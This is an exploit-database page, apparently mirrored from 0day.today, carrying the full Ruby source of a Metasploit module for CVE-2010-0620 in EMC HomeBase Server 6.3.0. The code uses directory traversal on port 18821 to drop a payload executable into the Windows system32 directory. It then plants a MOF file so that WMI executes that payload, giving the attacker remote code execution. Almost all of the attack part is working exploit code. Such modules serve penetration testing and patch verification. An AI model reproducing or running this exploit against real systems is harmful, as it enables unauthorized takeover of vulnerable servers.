Lucene search
K

EMC HomeBase Server Directory Traversal Remote Code Execution

🗓️ 28 Apr 2011 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 24 Views

EMC HomeBase Server Directory Traversal remote code execution. Exploits directory traversal and code execution flaw in EMC HomeBase Server 6.3.0. Tested against Windows XP SP3 and Windows 2003 SP2

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-0620
27 Apr 201100:00
circl
CVE
CVE-2010-0620
25 Feb 201000:00
cve
Cvelist
CVE-2010-0620
25 Feb 201000:00
cvelist
d2
DSquare Exploit Pack: D2SEC_HOMEBASE
25 Feb 201000:30
d2
Exploit DB
EMC HomeBase Server - Directory Traversal Remote Code Execution (Metasploit)
27 Apr 201100:00
exploitdb
EUVD
EUVD-2010-0651
7 Oct 202500:30
euvd
NVD
CVE-2010-0620
25 Feb 201000:30
nvd
Packet Storm
EMC HomeBase Server Directory Traversal Remote Code Execution
28 Apr 201100:00
packetstorm
Prion
Directory traversal
25 Feb 201000:30
prion
securityvulns
ZDI-10-020: EMC HomeBase SSL Service Arbitrary File Upload Remote Code Execution Vulnerability
25 Feb 201000:00
securityvulns
Rows per page
##
# $Id: emc_homebase_exec.rb 12458 2011-04-27 20:29:27Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'EMC HomeBase Server Directory Traversal Remote Code Execution',
            'Description'    => %q{
                    This module exploits a directory traversal and remote code execution
                flaw in EMC HomeBase Server 6.3.0.
 
                Note: This module has only been tested against Windows XP SP3 and Windows 2003 SP2
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12458 $',
            'References'     =>
                [
                    [ 'CVE', '2010-0620' ],
                    [ 'BID', '38380' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-020/' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'    => 2048,
                    'DisableNops' => true,
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic',  { } ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Feb 23 2010'))
 
        register_options(
            [
                Opt::RPORT(18821),
                OptBool.new('SSL', [true, 'Use SSL', true]),
            ], self.class)
    end
 
    def exploit
 
        name = exe_name()
        exe_upload(name)
        select(nil,nil,nil,2)
        mof_upload(name)
        select(nil,nil,nil,4)
        handler
 
    end
 
    def exe_name
 
        rand_text_alpha_upper(8) + ".exe"
 
    end
 
    def exe_upload(exe_name)
 
        # this uploads our final exe payload.
 
        data = generate_payload_exe
        exe_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\"
     
        connect
 
        banner = sock.get
            if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
                print_good("EMC HomeBase HomebaseSSL Service Detected!")
                print_status("Sending exe payload '#{exe_name}'...")
                sock.put("DATA #{exe_dir}#{exe_name} #{data.length}\r\n")
                ready = sock.get
                    if ( ready =~ /150 Ready to Recieve Data/ )
                        print_good("#{ready.strip}")
                        print_status("Sending '#{data.length}' bytes of data...")
                        sock.put(data)
                        complete = sock.get
                        if ( complete =~ /226 Data Complete/ )
                            print_good("#{complete.strip}")
                            print_status("Sending 'QUIT")
                            sock.put("quit\r\n")
                            return
                        end
                    else
                        print_error("Something went wrong...")
                        return
                    end
            else
                print_error("Not a EMC HomeBaseSSL Service")
                return
            end
         
        disconnect
 
    end
 
    def mof_upload(exe_name)
 
        # this is what runs our uploaded exe payload.
 
        mof_name = rand_text_alphanumeric(8+rand(8))
        mof      = generate_mof(mof_name, exe_name)
        mof_dir  = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\"
 
        connect
 
        banner = sock.get
            if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
                print_good("EMC HomeBase HomebaseSSL Service Detected!")
                print_status("Sending MOF file '#{mof_name}'...")
                sock.put("DATA #{mof_dir}#{mof_name} #{mof.length}\r\n")
                ready = sock.get
                    if ( ready =~ /150 Ready to Recieve Data/ )
                        print_good("#{ready.strip}")
                        print_status("Sending '#{mof.length}' bytes of data...")
                        sock.put(mof)
                        complete = sock.get
                            if ( complete =~ /226 Data Complete/ )
                                print_good("#{complete.strip}")
                                print_status("Sending 'QUIT")
                                sock.put("quit\r\n")
                                return
                            end
                    else
                        print_error("Something went wrong...")
                        return
                    end
            else
                print_error("Not a EMC HomeBaseSSL Service")
                return
                        end
 
        disconnect
 
    end
end



#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation